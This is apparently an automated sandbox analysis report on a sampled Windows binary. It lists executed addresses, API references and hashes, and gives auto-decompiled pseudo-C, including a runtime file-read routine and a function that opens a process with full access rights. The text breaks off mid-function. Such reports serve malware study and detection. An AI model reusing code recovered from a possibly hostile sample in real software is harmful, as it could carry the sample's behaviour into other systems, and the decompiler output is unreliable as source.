0x0042e925
0x0042e929
0x0042e92a
0x0042e930
0x0042e935
0x0042e938
0x0042e93a
0x0042e93c
0x0042e941
0x0042e943
0x0042e945
0x0042e948
0x0042e94a
0x0042e964
0x0042e988
0x0042e98c
0x0042e990
0x0042e992
0x0042e996
0x0042e998
0x0042e9a2
0x0042e9a5
0x0042e9ac
0x0042e9ac
0x0042e9ac
0x0042e9ac
0x0042e996
0x0042e9b1
0x0042e9bd
0x0042e9bf
0x0042ea4a
0x0042ea4a
0x00000000
0x0042e9c5
0x0042e9c5
0x0042e9c9
0x00000000
0x00000000
0x0042e9ce
0x0042e9e0
0x0042e9e8
0x0042e9eb
0x0042e9ec
0x0042e9ef
0x0042e9f6
0x0042e9fb
0x0042e9fe
0x0042ea32
0x0042ea3c
0x0042ea3c
0x0042ea46
0x00000000
0x0042ea46
0x0042ea07
0x0042ea20
0x0042ea27
0x0042e847
0x00000000
0x0042e847
0x0042e9bf
0x0042e94c
0x00000000
0x0042e905
0x0042e90c
0x0042e90f
0x0042e911
0x00000000
0x00000000
0x0042e913
0x0042e915
0x0042e915
0x00000000
0x0042e91b
0x0042e903
0x0042e85e
0x0042e861
0x0042e87c
0x0042e881
0x0042e887
0x0042e889
0x0042e894
0x0042e894
0x00000000
0x0042e889
0x0042e7e2
0x0042e7e9
0x0042e7eb
0x0042e822
0x0042e822
0x0042e82c
0x0042e82f
0x0042e836
0x0042e836
0x0042e836
0x0042e842
0x00000000
0x0042e842
0x0042e7ed
0x0042e7f1
0x00000000
0x00000000
0x0042e7f3
0x0042e802
0x0042e807
0x0042e80a
0x0042e80b
0x0042e80e
0x0042e80e
0x0042e815
0x0042e817
0x0042e81a
0x0042e81d
0x0042e820
0x00000000
0x00000000
0x00000000
0x0042e780
0x0042e785
0x0042e788
0x0042e78f
0x00000000
0x0042e78f
0x0042e759
0x0042e75e
0x0042e764
0x0042e766
0x00000000
0x0042e76b

APIs

Part of subcall function 0042E3E0: CreateFileW.KERNELBASE(?,00000000,?,0042E7D0,?,?,00000000,?,0042E7D0,?,0000000C), ref: 0042E3FD

GetLastError.KERNEL32 ref: 0042E83B
__dosmaperr.LIBCMT ref: 0042E842
GetFileType.KERNELBASE(00000000), ref: 0042E84E
GetLastError.KERNEL32 ref: 0042E858
__dosmaperr.LIBCMT ref: 0042E861
CloseHandle.KERNEL32(00000000), ref: 0042E881
CloseHandle.KERNEL32(?), ref: 0042E9CE
GetLastError.KERNEL32 ref: 0042EA00
__dosmaperr.LIBCMT ref: 0042EA07

Memory Dump Source

Source File: 0000000E.00000002.576910103.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_336E.jbxd

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID:
API String ID: 4237864984-0
Opcode ID: 06122bed1b9b1595c897591bec152c7780b0d53ef97764a841931a55147a754e
Instruction ID: 294b2351a34cc03056aee9017c32f9281aa59cbc487eca680c7c36b5e2bcebcc
Opcode Fuzzy Hash: 06122bed1b9b1595c897591bec152c7780b0d53ef97764a841931a55147a754e
Instruction Fuzzy Hash: 20A14632A101649FCF19EF69EC91BAE3BA1EF46314F18015EF8119B3D1CB389942CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00424EBD Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 298
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 77%

			E00424EBD(signed int _a4, void* _a8, unsigned int _a12) {
				signed int _v5;
				signed int _v12;
				void* _v16;
				signed int _v20;
				long _v24;
				void* _v28;
				char _v32;
				void* _v36;
				long _v40;
				signed int* _t132;
				signed int _t134;
				signed int _t135;
				long _t138;
				signed int _t141;
				signed int _t143;
				signed char _t145;
				intOrPtr _t153;
				long _t155;
				signed int _t156;
				signed int _t157;
				signed int _t159;
				long _t160;
				intOrPtr _t165;
				signed int _t166;
				intOrPtr _t168;
				signed int _t170;
				signed int _t172;
				char _t174;
				char _t179;
				char _t184;
				signed char _t191;
				long _t197;
				signed int _t200;
				intOrPtr _t203;
				long _t204;
				signed int _t205;
				unsigned int _t208;
				signed int _t210;
				signed int _t216;
				signed char _t217;
				long _t218;
				long _t219;
				void* _t220;
				signed int _t221;
				char* _t223;
				char* _t224;
				char* _t225;
				signed int _t230;
				signed int _t231;
				void* _t235;
				void* _t237;
				void* _t238;
				void* _t239;

				_t200 = _a4;
				_t238 = _t237 - 0x24;
				if(_t200 != 0xfffffffe) {
					__eflags = _t200;
					if(_t200 < 0) {
						L60:
						_t132 = E0041CA40();
						 *_t132 =  *_t132 & 0x00000000;
						__eflags =  *_t132;
						 *((intOrPtr*)(E0041CA53())) = 9;
						L61:
						_t134 = E0041804F();
						goto L62;
					}
					__eflags = _t200 -  *0x444d30; // 0x40
					if(__eflags >= 0) {
						goto L60;
					}
					_t216 = _t200 >> 6;
					_t230 = (_t200 & 0x0000003f) * 0x38;
					_v12 = _t216;
					_v32 = 1;
					_t138 =  *((intOrPtr*)(0x444b30 + _t216 * 4));
					_v24 = _t138;
					_v20 = _t230;
					_t217 =  *((intOrPtr*)(_t138 + _t230 + 0x28));
					_v5 = _t217;
					__eflags = 1 & _t217;
					if((1 & _t217) == 0) {
						goto L60;
					}
					_t218 = _a12;
					__eflags = _t218 - 0x7fffffff;
					if(_t218 <= 0x7fffffff) {
						__eflags = _t218;
						if(_t218 == 0) {
							L59:
							_t135 = 0;
							goto L63;
						}
						__eflags = _v5 & 0x00000002;
						if((_v5 & 0x00000002) != 0) {
							goto L59;
						}
						__eflags = _a8;
						if(_a8 == 0) {
							goto L6;
						}
						_t141 =  *((intOrPtr*)(_t138 + _t230 + 0x29));
						_v5 = _t141;
						_v28 =  *((intOrPtr*)(_t138 + _t230 + 0x18));
						_t235 = 0;
						_t143 = _t141 - 1;
						__eflags = _t143;
						if(_t143 == 0) {
							_t145 =  !_t218;
							__eflags = 1 & _t145;
							if((1 & _t145) == 0) {
								L14:
								 *(E0041CA40()) =  *_t146 & _t235;
								 *((intOrPtr*)(E0041CA53())) = 0x16;
								E0041804F();
								goto L40;
							} else {
								_t219 = _t218 >> 1;
								_t197 = 4;
								__eflags = _t219 - 1;
								if(_t219 >= 1) {
									_t197 = _t219;
								}
								_t235 = E00421D39(_t197);
								E00421955(0);
								E00421955(0);
								_t239 = _t238 + 0xc;
								_v16 = _t235;
								__eflags = _t235;
								if(_t235 != 0) {
									_t153 = E00425463(_t219, _a4, 0, 0, 1);
									_t238 = _t239 + 0x10;
									_t203 =  *((intOrPtr*)(0x444b30 + _v12 * 4));
									 *((intOrPtr*)(_t230 + _t203 + 0x20)) = _t153;
									 *(_t230 + _t203 + 0x24) = _t219;
									_t220 = _t235;
									_t155 =  *((intOrPtr*)(0x444b30 + _v12 * 4));
									L22:
									_v24 = _t155;
									L23:
									_t204 = _v24;
									_t230 = 0;
									_t156 = _v20;
									_v36 = _t220;
									__eflags =  *(_t156 + _t204 + 0x28) & 0x00000048;
									_t205 = _a4;
									if(( *(_t156 + _t204 + 0x28) & 0x00000048) != 0) {
										_t174 =  *((intOrPtr*)(_t156 + _v24 + 0x2a));
										_t223 = _v16;
										__eflags = _t174 - 0xa;
										if(_t174 != 0xa) {
											__eflags = _t197;
											if(_t197 != 0) {
												_t230 = 1;
												 *_t223 = _t174;
												_t224 = _t223 + 1;
												_t197 = _t197 - 1;
												__eflags = _v5;
												_v16 = _t224;
												 *((char*)(_v20 +  *((intOrPtr*)(0x444b30 + _v12 * 4)) + 0x2a)) = 0xa;
												_t205 = _a4;
												if(_v5 != 0) {
													_t179 =  *((intOrPtr*)(_v20 +  *((intOrPtr*)(0x444b30 + _v12 * 4)) + 0x2b));
													_t205 = _a4;
													__eflags = _t179 - 0xa;
													if(_t179 != 0xa) {
														__eflags = _t197;
														if(_t197 != 0) {
															 *_t224 = _t179;
															_t225 = _t224 + 1;
															_t197 = _t197 - 1;
															__eflags = _v5 - 1;
															_v16 = _t225;
															_t230 = 2;
															 *((char*)(_v20 +  *((intOrPtr*)(0x444b30 + _v12 * 4)) + 0x2b)) = 0xa;
															_t205 = _a4;
															if(_v5 == 1) {
																_t184 =  *((intOrPtr*)(_v20 +  *((intOrPtr*)(0x444b30 + _v12 * 4)) + 0x2c));
																_t205 = _a4;
																__eflags = _t184 - 0xa;
																if(_t184 != 0xa) {
																	__eflags = _t197;
																	if(_t197 != 0) {
																		 *_t225 = _t184;
																		_t197 = _t197 - 1;
																		__eflags = _t197;
																		_v16 = _t225 + 1;
																		_t230 = 3;
																		 *((char*)(_v20 +  *((intOrPtr*)(0x444b30 + _v12 * 4)) + 0x2c)) = 0xa;
																	}
																}
															}
														}
													}
												}
											}
										}
									}
									_t157 = E0042C287(_t205);
									__eflags = _t157;
									if(_t157 == 0) {
										L43:
										_v32 = 0;
										L44:
										_t198 = _v16;
										_t159 = ReadFile(_v28, _v16, _t197,  &_v24, 0); // executed
										__eflags = _t159;
										if(_t159 == 0) {
											L55:
											_t160 = GetLastError();
											_t230 = 5;
											__eflags = _t160 - _t230;
											if(_t160 != _t230) {
												__eflags = _t160 - 0x6d;
												if(_t160 != 0x6d) {
													L39:
													E0041C9F9(_t160);
													goto L40;
												}
												_t231 = 0;
												goto L41;
											}
											 *((intOrPtr*)(E0041CA53())) = 9;
											 *(E0041CA40()) = _t230;
											goto L40;
										}
										_t208 = _a12;
										__eflags = _v24 - _t208;
										if(_v24 > _t208) {
											goto L55;
										}
										_t231 = _t230 + _v24;
										__eflags = _t231;
										L47:
										_t221 = _v20;
										_t165 =  *((intOrPtr*)(0x444b30 + _v12 * 4));
										__eflags =  *((char*)(_t221 + _t165 + 0x28));
										if( *((char*)(_t221 + _t165 + 0x28)) < 0) {
											__eflags = _v5 - 2;
											if(_v5 == 2) {
												__eflags = _v32;
												_push(_t231 >> 1);
												_push(_v36);
												_push(_a4);
												if(_v32 == 0) {
													_t166 = E00424A2F();
												} else {
													_t166 = E00424D2E();
												}
											} else {
												_t209 = _t208 >> 1;
												__eflags = _t208 >> 1;
												_t166 = E00424BD7(_t208 >> 1, _t208 >> 1, _a4, _t198, _t231, _a8, _t209);
											}
											_t231 = _t166;
										}
										goto L41;
									}
									_t210 = _v20;
									_t168 =  *((intOrPtr*)(0x444b30 + _v12 * 4));
									__eflags =  *((char*)(_t210 + _t168 + 0x28));
									if( *((char*)(_t210 + _t168 + 0x28)) >= 0) {
										goto L43;
									}
									_t170 = GetConsoleMode(_v28,  &_v40);
									__eflags = _t170;
									if(_t170 == 0) {
										goto L43;
									}
									__eflags = _v5 - 2;
									if(_v5 != 2) {
										goto L44;
									}
									_t107 =  &_v16; // 0xa
									_t198 =  *_t107;
									_t172 = ReadConsoleW(_v28,  *_t107, _t197 >> 1,  &_v24, 0);
									__eflags = _t172;
									if(_t172 != 0) {
										_t208 = _a12;
										_t231 = _t230 + _v24 * 2;
										goto L47;
									}
									_t160 = GetLastError();
									goto L39;
								} else {
									 *((intOrPtr*)(E0041CA53())) = 0xc;
									 *(E0041CA40()) = 8;
									L40:
									_t231 = _t230 | 0xffffffff;
									__eflags = _t231;
									L41:
									E00421955(_t235);
									_t135 = _t231;
									goto L63;
								}
							}
						}
						__eflags = _t143 == 1;
						if(_t143 == 1) {
							_t191 =  !_t218;
							__eflags = 1 & _t191;
							if((1 & _t191) != 0) {
								_t155 = _v24;
								_t197 = _t218;
								_t220 = _a8;
								_v16 = _t220;
								goto L22;
							}
							goto L14;
						} else {
							_t197 = _t218;
							_t220 = _a8;
							_v16 = _t220;
							goto L23;
						}
					}
					L6:
					 *(E0041CA40()) =  *_t139 & 0x00000000;
					 *((intOrPtr*)(E0041CA53())) = 0x16;
					goto L61;
				} else {
					 *(E0041CA40()) =  *_t192 & 0x00000000;
					_t134 = E0041CA53();
					 *_t134 = 9;
					L62:
					_t135 = _t134 | 0xffffffff;
					L63:
					return _t135;
				}
			}

0x00424ec2
0x00424ec5
0x00424ecd
0x00424ee7
0x00424ee9
0x0042523d
0x0042523d
0x00425242
0x00425242
0x0042524a
0x00425250
0x00425250
0x00000000
0x00425250
0x00424eef
0x00424ef5
0x00000000
0x00000000
0x00424eff
0x00424f05
0x00424f0a
0x00424f0e
0x00424f11
0x00424f18
0x00424f1b
0x00424f1e
0x00424f22
0x00424f25
0x00424f27
0x00000000
0x00000000
0x00424f2d
0x00424f30
0x00424f36
0x00424f50
0x00424f52
0x00425239
0x00425239
0x00000000
0x00425239
0x00424f58
0x00424f5c
0x00000000
0x00000000
0x00424f62
0x00424f66
0x00000000
0x00000000
0x00424f6d
0x00424f71
0x00424f74
0x00424f77
0x00424f7c
0x00424f7c
0x00424f7f
0x00424fc6
0x00424fc8
0x00424fca
0x00424f9b
0x00424fa0
0x00424fa7
0x00424fad
0x00000000
0x00424fcc
0x00424fce
0x00424fd0
0x00424fd1
0x00424fd3
0x00424fd5
0x00424fd5
0x00424fdf
0x00424fe1
0x00424fe8
0x00424fed
0x00424ff0
0x00424ff3
0x00424ff5
0x0042501b
0x00425023
0x00425026
0x0042502d
0x00425034
0x00425038
0x0042503a
0x00425041
0x00425041
0x00425044
0x00425044
0x00425047
0x00425049
0x0042504c
0x0042504f
0x00425054
0x00425057
0x00425060
0x00425064
0x00425067
0x00425069
0x0042506f
0x00425071
0x0042507a
0x0042507b
0x0042507d
0x00425081
0x00425082
0x00425086
0x00425090
0x00425095
0x00425098
0x004250a7
0x004250ab
0x004250ae
0x004250b0
0x004250b2
0x004250b4
0x004250b9
0x004250bb
0x004250bf
0x004250c0
0x004250c6
0x004250d0
0x004250d1
0x004250d6
0x004250d9
0x004250e8
0x004250ec
0x004250ef
0x004250f1
0x004250f3
0x004250f5
0x004250f7
0x004250fd
0x004250fd
0x004250fe
0x0042510d
0x0042510e
0x0042510e
0x004250f5
0x004250f1
0x004250d9
0x004250b4
0x004250b0
0x00425098
0x00425071
0x00425069
0x00425114
0x0042511a
0x0042511c
0x0042518d
0x0042518d
0x00425191
0x00425198
0x0042519f
0x004251a5
0x004251a7
0x00425205
0x00425205
0x0042520d
0x0042520e
0x00425210
0x00425229
0x0042522c
0x00425169
0x0042516a
0x00000000
0x0042516f
0x00425232
0x00000000
0x00425232
0x00425217
0x00425222
0x00000000
0x00425222
0x004251a9
0x004251ac
0x004251af
0x00000000
0x00000000
0x004251b1
0x004251b1
0x004251b4
0x004251b7
0x004251ba
0x004251c1
0x004251c6
0x004251c8
0x004251cc
0x004251e7
0x004251eb
0x004251ec
0x004251ef
0x004251f2
0x004251fe
0x004251f4
0x004251f4
0x004251f4
0x004251ce
0x004251ce
0x004251ce
0x004251d9
0x004251de
0x004251e1
0x004251e1
0x00000000
0x004251c6
0x00425121
0x00425124
0x0042512b
0x00425130
0x00000000
0x00000000
0x00425139
0x0042513f
0x00425141
0x00000000
0x00000000
0x00425143
0x00425147
0x00000000
0x00000000
0x00425152
0x00425152
0x00425159
0x0042515f
0x00425161
0x00425185
0x00425188
0x00000000
0x00425188
0x00425163
0x00000000
0x00424ff7
0x00424ffc
0x00425007
0x00425170
0x00425170
0x00425170
0x00425173
0x00425174
0x0042517a
0x00000000
0x0042517c
0x00424ff5
0x00424fca
0x00424f81
0x00424f84
0x00424f95
0x00424f97
0x00424f99
0x00424fb7
0x00424fba
0x00424fbc
0x00424fbf
0x00000000
0x00424fbf
0x00000000
0x00424f86
0x00424f86
0x00424f88
0x00424f8b
0x00000000
0x00424f8b
0x00424f84
0x00424f38
0x00424f3d
0x00424f45
0x00000000
0x00424ecf
0x00424ed4
0x00424ed7
0x00424edc
0x00425255
0x00425255
0x00425258
0x0042525b
0x0042525b

Strings

, xrefs: 00425152, 00425155

Memory Dump Source

Source File: 0000000E.00000002.576910103.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_336E.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3907804496
Opcode ID: ea04b6769f338891359fa753cc2635b305234da14e9e792b99bb4870fbc0c47b
Instruction ID: c73ddf4e9d04ad7a9feba274aac19e014be5869e09d570f887e00602c23fd8a4
Opcode Fuzzy Hash: ea04b6769f338891359fa753cc2635b305234da14e9e792b99bb4870fbc0c47b
Instruction Fuzzy Hash: 7DB13470F04659AFDB11DF99E880BBE7BB1EF85304F44419AE40097392CB789D41CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00403E40 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 240
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 62%

			E00403E40(void* __ebx, void* __edx, void* __edi) {
				int _v8;
				char _v16;
				signed int _v20;
				intOrPtr _v24;
				int _v28;
				char _v44;
				int _v68;
				int _v72;
				int _v76;
				int _v108;
				char _v116;
				intOrPtr _v120;
				intOrPtr _v136;
				intOrPtr _v160;
				char _v212;
				char _v228;
				char _v229;
				int _v236;
				intOrPtr* _v240;
				char _v244;
				int _v264;
				char _v272;
				void* __esi;
				void* __ebp;
				signed int _t113;
				signed int _t114;
				long _t134;
				void* _t135;
				intOrPtr _t148;
				signed int _t154;
				signed int _t155;
				void* _t166;
				void* _t167;
				void* _t173;
				intOrPtr* _t177;
				void* _t184;
				intOrPtr _t186;
				intOrPtr* _t194;
				intOrPtr* _t200;
				intOrPtr* _t202;
				void* _t204;
				void* _t210;
				intOrPtr* _t211;
				void* _t215;
				void* _t216;
				intOrPtr* _t217;
				signed int _t219;
				void* _t221;
				signed int _t223;

				_t210 = __edi;
				_t204 = __edx;
				_t179 = __ebx;
				_push(0xffffffff);
				_push(0x431788);
				_push( *[fs:0x0]);
				_t113 =  *0x443048; // 0x7239e5fc
				_t114 = _t113 ^ _t219;
				_v20 = _t114;
				_push(_t114);
				 *[fs:0x0] =  &_v16;
				_v236 = 0;
				E00415180(__edi,  &_v228, 0, 0xb8);
				_v228 = 0x43ea7c;
				_t215 =  >=  ?  *0x443aa4 : 0x443aa4;
				_v108 = 0;
				_v76 = 0;
				_v72 = 0;
				_v68 = 0;
				_t223 = _t221 - 0xe4 + 8;
				_v8 = 0;
				_v236 = 1;
				asm("xorps xmm0, xmm0");
				_v116 = 0x43ea88;
				_v120 = 0x58;
				asm("movlpd [ebp-0xd8], xmm0"); // executed
				E00407F70( &_v116, _t204,  *0x443ab8 - 0x10,  &_v212); // executed
				_v8 = 2;
				_t17 =  &_v228; // 0x43ea7c
				 *((intOrPtr*)(_t219 +  *((intOrPtr*)( *_t17 + 4)) - 0xe0)) = 0x43ea90;
				_t22 = _v228 + 4; // 0x43f75c
				_t23 =  *_t22 - 0x70; // 0x43f6ec
				 *((intOrPtr*)(_t219 +  *_t22 - 0xe4)) = _t23;
				E00407040( &_v212,  *0x443ab8 - 0x10);
				_v8 = 3;
				if(_v136 != 0) {
					L5:
					_t41 = _v228 + 4; // 0x43f75c
					_t184 =  &_v228 +  *_t41;
					__eflags =  *(_t184 + 0x38);
					_t47 = _t184 + 0xc; // 0x443ffc
					__eflags = 0x00000002 + ( *(_t184 + 0x38) == 0x00000000) * 0x00000004 |  *_t47;
					E00403A00(_t179, _t184, 0x00000002 + ( *(_t184 + 0x38) == 0x00000000) * 0x00000004 |  *_t47, 0);
				} else {
					_push(0x40);
					_push(1);
					_t167 = E00412A0C(_t204, 0x443aa4); // executed
					_t223 = _t223 + 0xc;
					if(_t167 == 0) {
						goto L5;
					} else {
						E00406E40( &_v212, _t167, 1);
						_t200 =  *((intOrPtr*)(_v160 + 4));
						_v240 = _t200;
						 *((intOrPtr*)( *_t200 + 4))();
						_v8 = 4;
						_push( &_v244);
						_t173 = E00408400(__ebx, _t204, _t210, _t215);
						_t223 = _t223 + 4;
						E00406CE0( &_v212, _t173);
						_t202 = _v240;
						if(_t202 != 0) {
							_t177 =  *((intOrPtr*)( *((intOrPtr*)( *_t202 + 8))))();
							if(_t177 != 0) {
								 *((intOrPtr*)( *_t177))(1);
							}
						}
					}
				}
				_v8 = 5;
				if(_v136 != 0) {
					asm("xorps xmm0, xmm0");
					_v28 = 0;
					asm("movups [ebp-0x28], xmm0");
					_v24 = 0xf;
					_v44 = 0;
					_v8 = 6;
					L00408360(_t179,  &_v228,  &_v44);
					__eflags = _v24 - 0x10;
					_t133 =  >=  ? _v44 :  &_v44;
					_t134 = E0041B520( &_v44, _t210,  >=  ? _v44 :  &_v44);
					_t223 = _t223 + 4;
					_t135 = OpenProcess(0x1fffff, 0, _t134);
					__eflags = _t135;
					_v8 = 5;
					_t186 = _v24;
					_v229 = _t135 != 0;
					__eflags = _t186 - 0x10;
					if(_t186 < 0x10) {
						L12:
						_v28 = 0;
						_v24 = 0xf;
						_v44 = 0;
						goto L13;
					} else {
						_t207 = _v44;
						_t194 = _t186 + 1;
						_t148 = _v44;
						__eflags = _t194 - 0x1000;
						if(_t194 < 0x1000) {
							L11:
							_push(_t194);
							E004138AD(_t207);
							_t223 = _t223 + 8;
							goto L12;
						} else {
							_t207 =  *((intOrPtr*)(_t148 - 4));
							_t194 = _t194 + 0x23;
							__eflags = _t148 - _t207 + 0xfffffffc - 0x1f;
							if(_t148 - _t207 + 0xfffffffc > 0x1f) {
								E0041805F(_t179, _t194, _t207);
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								_push(_t219);
								_push(0xffffffff);
								_push(0x431710);
								_push( *[fs:0x0]);
								_push(_t215);
								_push(_t210);
								_t154 =  *0x443048; // 0x7239e5fc
								_t155 = _t154 ^ _t223;
								__eflags = _t155;
								_push(_t155);
								 *[fs:0x0] =  &_v272;
								_t217 = _t194;
								_t211 = _t217 + 0x70;
								_t95 = _t211 - 0x60; // 0x43ea28
								 *((intOrPtr*)( *((intOrPtr*)( *_t217 + 4)) + _t211 - 0x70)) = 0x43ea90;
								_t100 =  *((intOrPtr*)( *_t217 + 4)) - 0x70; // -107
								 *((intOrPtr*)( *((intOrPtr*)( *_t217 + 4)) + _t211 - 0x74)) = _t100;
								E00405690(_t95);
								 *((intOrPtr*)( *((intOrPtr*)( *_t217 + 4)) + _t211 - 0x70)) = 0x43ea88;
								_t107 =  *((intOrPtr*)( *_t217 + 4)) - 0x18; // -19
								 *((intOrPtr*)( *((intOrPtr*)( *_t217 + 4)) + _t211 - 0x74)) = _t107;
								_v264 = 0;
								 *_t211 = 0x43ea28;
								_t166 = E004128AD(_t211);
								 *[fs:0x0] = _v272;
								return _t166;
							} else {
								goto L11;
							}
						}
					}
				} else {
					_v229 = 0;
					L13:
					_t69 = _v228 + 4; // 0x43f75c
					 *((intOrPtr*)(_t219 +  *_t69 - 0xe0)) = 0x43ea90;
					_t73 = _v228 + 4; // 0x43f75c
					_t74 =  *_t73 - 0x70; // 0x43f6ec
					 *((intOrPtr*)(_t219 +  *_t73 - 0xe4)) = _t74;
					E00405690( &_v212);
					_t79 = _v228 + 4; // 0x43f75c
					 *((intOrPtr*)(_t219 +  *_t79 - 0xe0)) = 0x43ea88;
					_t83 = _v228 + 4; // 0x43fa70
					_t84 =  *_t83 - 0x18; // 0x43fa58
					 *((intOrPtr*)(_t219 +  *_t83 - 0xe4)) = _t84;
					_v8 = 7;
					_v116 = 0x43ea28;
					E004128AD( &_v116);
					 *[fs:0x0] = _v16;
					_pop(_t216);
					return E0041361E(_v229, _t179, _v20 ^ _t219,  *_t83, _t210, _t216);
				}
			}

0x00403e40
0x00403e40
0x00403e40
0x00403e43
0x00403e45
0x00403e50
0x00403e57
0x00403e5c
0x00403e5e
0x00403e62
0x00403e66
0x00403e77
0x00403e84
0x00403e95
0x00403e9f
0x00403ea6
0x00403ead
0x00403eb4
0x00403ebb
0x00403ec2
0x00403ec5
0x00403ed2
0x00403edc
0x00403edf
0x00403ee9
0x00403ef1
0x00403ef9
0x00403efe
0x00403f05
0x00403f0e
0x00403f1f
0x00403f22
0x00403f25
0x00403f32
0x00403f37
0x00403f42
0x00403fb5
0x00403fc3
0x00403fc3
0x00403fc8
0x00403fd5
0x00403fd5
0x00403fd9
0x00403f44
0x00403f44
0x00403f46
0x00403f49
0x00403f4e
0x00403f53
0x00000000
0x00403f55
0x00403f5e
0x00403f69
0x00403f6c
0x00403f74
0x00403f7d
0x00403f81
0x00403f82
0x00403f87
0x00403f91
0x00403f96
0x00403f9e
0x00403fa5
0x00403fa9
0x00403fb1
0x00403fb1
0x00403fa9
0x00403f9e
0x00403f53
0x00403fde
0x00403fec
0x00403ffa
0x00403ffd
0x00404004
0x00404008
0x0040400f
0x00404016
0x00404020
0x00404025
0x0040402c
0x00404031
0x00404036
0x00404041
0x00404047
0x00404049
0x0040404d
0x00404050
0x00404057
0x0040405a
0x00404088
0x00404088
0x0040408f
0x00404096
0x00000000
0x0040405c
0x0040405c
0x0040405f
0x00404060
0x00404062
0x00404068
0x0040407e
0x0040407e
0x00404080
0x00404085
0x00000000
0x0040406a
0x0040406a
0x0040406d
0x00404075
0x00404078
0x0040412d
0x00404132
0x00404133
0x00404134
0x00404135
0x00404136
0x00404137
0x00404138
0x00404139
0x0040413a
0x0040413b
0x0040413c
0x0040413d
0x0040413e
0x0040413f
0x00404140
0x00404143
0x00404145
0x00404150
0x00404151
0x00404152
0x00404153
0x00404158
0x00404158
0x0040415a
0x0040415e
0x00404164
0x00404168
0x0040416b
0x00404171
0x0040417e
0x00404181
0x00404185
0x0040418f
0x0040419c
0x0040419f
0x004041a3
0x004041ab
0x004041b1
0x004041bc
0x004041c9
0x00000000
0x00000000
0x00000000
0x00404078
0x00404068
0x00403fee
0x00403fee
0x0040409a
0x004040a0
0x004040a3
0x004040b4
0x004040b7
0x004040ba
0x004040c7
0x004040d2
0x004040d5
0x004040e6
0x004040e9
0x004040ec
0x004040f6
0x004040fe
0x00404105
0x00404116
0x0040411e
0x0040412c
0x0040412c

APIs

Part of subcall function 00407F70: std::locale::_Init.LIBCPMT ref: 00408002

Part of subcall function 00407040: std::locale::_Init.LIBCPMT ref: 00407092

OpenProcess.KERNEL32(001FFFFF,00000000,00000000,?,7239E5FC), ref: 00404041
std::ios_base::_Ios_base_dtor.LIBCPMT ref: 00404105
std::ios_base::_Ios_base_dtor.LIBCPMT ref: 004041B1

Part of subcall function 00408400: std::_Lockit::_Lockit.LIBCPMT ref: 00408436
Part of subcall function 00408400: std::_Lockit::_Lockit.LIBCPMT ref: 00408458
Part of subcall function 00408400: std::_Lockit::~_Lockit.LIBCPMT ref: 00408478
Part of subcall function 00408400: std::_Lockit::~_Lockit.LIBCPMT ref: 0040849F

Strings

(C, xrefs: 004040F3, 004040FD
|C, xrefs: 00403F05
X, xrefs: 00403EE9

Memory Dump Source

Source File: 0000000E.00000002.576910103.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_336E.jbxd

Similarity

API ID: Lockitstd::_$InitIos_base_dtorLockit::_Lockit::~_std::ios_base::_std::locale::_$OpenProcess
String ID: (C$X$|C
API String ID: 2479089509-3218431619
Opcode ID: 3d94ad1747c478087e47a4a932c1e8866e81bd26fb6b1151c57d7ba0964e6dba
Instruction ID: 35d913283e045db799450650ff443e3f9a615b55ca256782a527e1e8516952c6
Opcode Fuzzy Hash: 3d94ad1747c478087e47a4a932c1e8866e81bd26fb6b1151c57d7ba0964e6dba
Instruction Fuzzy Hash: F8A13A74A002499FDB20DF64C949B9DBBF4FF08308F1485AEE509B7281D779AA85CF54

Uniqueness

Uniqueness Score: -1.00%

Function 004035C0 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 70%

			E004035C0(void* __ebx, void* __edi, void* __esi) {
				intOrPtr _v8;
				char _v16;
				char _v24;
				intOrPtr* _v32;
				char _v52;
				char _v56;
				char _v60;
				char _v64;
				char _v68;
				short _v72;
				char _v76;
				short _v80;
				intOrPtr _v84;
				char _v88;
				char _v92;
				char _v96;
				char _v100;
				char _v104;
				signed char _v116;
				void* __ebp;
				signed int _t48;
				intOrPtr* _t52;
				void* _t79;
				intOrPtr _t84;
				intOrPtr* _t88;
				intOrPtr _t92;
				intOrPtr* _t93;
				signed int _t96;
				void* _t100;
				signed int _t103;
				void* _t104;
				void* _t107;
				void* _t110;

				_push(__ebx);
				_t79 = _t100;
				_t103 = (_t100 - 0x00000008 & 0xfffffff8) + 4;
				_v8 =  *((intOrPtr*)(_t79 + 4));
				_t96 = _t103;
				_push(0xffffffff);
				_push(0x43153c);
				_push( *[fs:0x0]);
				_push(_t79);
				_t104 = _t103 - 0x50;
				_push(__esi);
				_push(__edi);
				_t48 =  *0x443048; // 0x7239e5fc
				_push(_t48 ^ _t96);
				 *[fs:0x0] =  &_v24;
				_t88 =  *((intOrPtr*)(_t79 + 8));
				if(_t88 == 0) {
					L20:
					 *[fs:0x0] = _v24;
					return 2;
				} else {
					_t113 =  *_t88;
					if( *_t88 != 0) {
						goto L20;
					} else {
						_t52 = E0041362C(_t79, _t88, __esi, _t113, 0x18);
						_t107 = _t104 + 4;
						_v32 = _t52;
						_v16 = 0;
						_t84 =  *((intOrPtr*)( *((intOrPtr*)(_t79 + 0xc)) + 4));
						if(_t84 == 0) {
							_t92 = 0x43e90c;
						} else {
							_t92 =  *((intOrPtr*)(_t84 + 0x18));
							if(_t92 == 0) {
								_t10 = _t84 + 0x1c; // 0x1c
								_t92 = _t10;
							}
						}
						_t85 =  &_v104;
						E0041247D( &_v104, 0);
						_v100 = 0;
						_v96 = 0;
